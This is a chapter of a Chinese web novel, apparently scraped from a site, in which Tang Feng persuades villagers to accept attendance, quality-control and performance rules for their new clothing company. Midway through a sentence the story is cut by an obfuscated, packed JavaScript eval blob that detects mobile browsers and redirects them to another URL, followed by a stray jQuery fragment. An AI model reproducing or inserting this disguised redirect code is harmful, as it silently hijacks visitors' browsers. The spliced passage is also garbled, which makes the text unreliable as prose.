说完正事，唐峰刚想结束会议，苏朵的心声又涌入脑海中。
【光有干劲还是不够，没有规矩不成方圆！】
【唐爸爸！得建立一套完整的管理制度才行，比如考勤、质检还有绩效考核这些！】
【一定要保证工作效率以及产品质量，公司才能发展得更加壮大！】
唐峰愣了愣神，而后又陷入了深思。
考勤、质检、绩效等等词汇，对唐峰而言确实有些陌生，但结合起规矩以及效率，却也不难理解。
联想起管理工厂遇到的时机问题，他更加明白规矩的必要性。
厂子规模小，靠着大家的自律，或者是所谓的情分，就能很好地管理。
可如今成立了公司，人员变多了，分工也更加细致，光凭着自觉已经不够。
时间要是久了，没有明确的规定，难免会有人懈怠。
若是造成产品质量不过关，哪怕只有一批货有问题，都会影响到口碑，损害到所有人的利益。
想到这里，唐峰的目光变得越发坚定。
回过神来之后，唐峰清了清嗓子，又抬了抬手，示意大家安静。
“乡亲们！股份制的事情定下来了，峰雪服饰也算是起步了！但咱们要想把公司做大做强，还差了一样东西！”
话说一半，唐峰停顿了下来，目光扫过在场所有人。
村民们的脸上尽是疑惑，根本猜不到唐峰指得是什么。
“还差什么呀？”
徐婶问道。
“不以规矩不成方圆！”
“咱们还缺少规矩！也就是公司的管理制度！”
唐峰沉声说道。
“什么样子的规矩？”
另外一名村民站了起来，望向唐峰的眸子里尽是好奇。
“我总结了一下，大概可以归纳为三点！”
“一是考勤，二是质检，三是绩效考核！”
声音落下，唐峰放眼望去，发现村民们脸上尽是不解，又给出了更加详细的解释。
“简单来说，考勤就是准时上下班，保证生产节奏！”
“质检就是检查产品质量，必须严格保证产品质量，维护好公司的声誉，未来才有更好的发展！”
“至于绩效考核，就是评定大家工作情况的一种方法，达不到工作要求的，将会影响收入，一直都不进行整改的，肯定会迎来更加严厉的措施！”
唐峰尽量用通俗易懂的语言，让村民们知晓什么叫做公司管理制度。
可村民们自由松散惯了，唐峰提出的管理制度，无疑是给他们套上了紧箍咒！
一些年纪稍大的村民，已经表现出了抵触情绪。
“天天按点上班，多不自在啊！种地都不这样的！”
“还有什么质检！不就是说，干完活之后，还有人在后面检查，这分明是信不过咱们嘛！”
“都是乡亲父老，搞这么多条条框框，也太伤感情了吧！”
村民们议论纷纷，不少人都在抱怨。
公司管理制度还未完全推行，已经遭受到了阻力。
唐峰没有动怒，而是认真倾听这些反对的声音。
“大家觉得不习惯，我可以理解！但咱们已经不是小作坊了，咱们接的都是大订单，更要创立自己的品牌！”
“假如没有规矩，你晚来半个小时，他早退半个小时，工资拿到手，又和正常上班的员工一样，这合理吗？”
“再说回质检，万一哪次员工粗心大意，导致货物出了问题，一次两次好说，但次数多了，客户还愿意合作吗？”
“声誉要是没了，厂子离倒闭就不远了！”
唐峰缓缓说道，语气十分诚恳。
顿了顿，他又环视一圈，目光中透着一丝真挚，而后继续补充着，“设立这些制度，是为了保证产品质量，让咱们得厂子能长久地开下去！”
“考核也不是为了惩罚！绩效好的人，理应获得更高的工资，这才是真正的公平！”
这一番话下来，所有村民们变得沉默，都陷入了沉思。
“小峰说得在理！咱们不能只顾着舒服，目光得放远一些！”
“以前咱们跟着徐丽娟，够轻松散漫了吧！可结果呢？差点连棺材本都赔了！”
“现在小峰给咱们立规矩，是为了大家好！我第一个支持，分厂这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16774722|190260||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边必须严格按照制度管理！”
片刻之后，徐丽娟站了出来，出声力挺唐峰。
“对！小峰绝对不会害我们！”
“我们也是公司的股东，如果连我们自己都不认可对公司有利的政策，那公司怎么可能发展得起来？”
王翠花也在一旁说道。
紧接着，越来越多明事理的村民们陆续站了起来，纷纷表态支持唐峰。
有了这么多核心成员的支持，再加上唐峰合乎情理的解释，原本心存疑虑的村民们也慢慢想通了。
她们想起此前的教训，又看到唐峰一直在帮着大家，抵触的情绪也逐渐消散。
“是啊！小峰也是为了咱们好！咱们应该支持他！”
“不就是按时上班吗？咱们克服一下就行了，又不会掉块肉！”
“说得对！必须支持小峰！一切都听公司安排！”
村民们纷纷开口说道。
瞧见村民们都改变了态度，唐峰的脸上终于露出一抹笑容。
“好！我会尽快拟定公司管理制度，将会下个月正式推行，并且会根据实际情况不断进行优化！”
“大家请放心！这绝不是为了一己私欲，我所做的一切，都是从大家的利益出发。”
唐峰朗声宣布。
“小峰，你大可放心！一旦公司管理制度颁布，我一定会丝毫不差地落实下去。”
徐婶沉声说道。
“好！”
“没有其他事情的话，大家就散会吧！”
唐峰点了点头说道。
徐婶等人没有多留，陆陆续续地离开了。
办公室里除了唐峰以及苏朵，便只有张雪兄妹二人。
“峰哥，你嘴巴真是严呐！搞出这么大的变革，也不事先知会一声！”
张兵望外看了看，确定没有外人在周围，才开口说道，语气中带着一丝埋怨。
闻言。
唐峰下意识地看了看苏朵，脸色带着一丝尴尬。
说起来，他还是剽窃苏朵的想法呢。
“我也是在开会的时候，才临时想到的，可不是故意瞒着你们！”
唐峰耸了耸肩，出声解释着。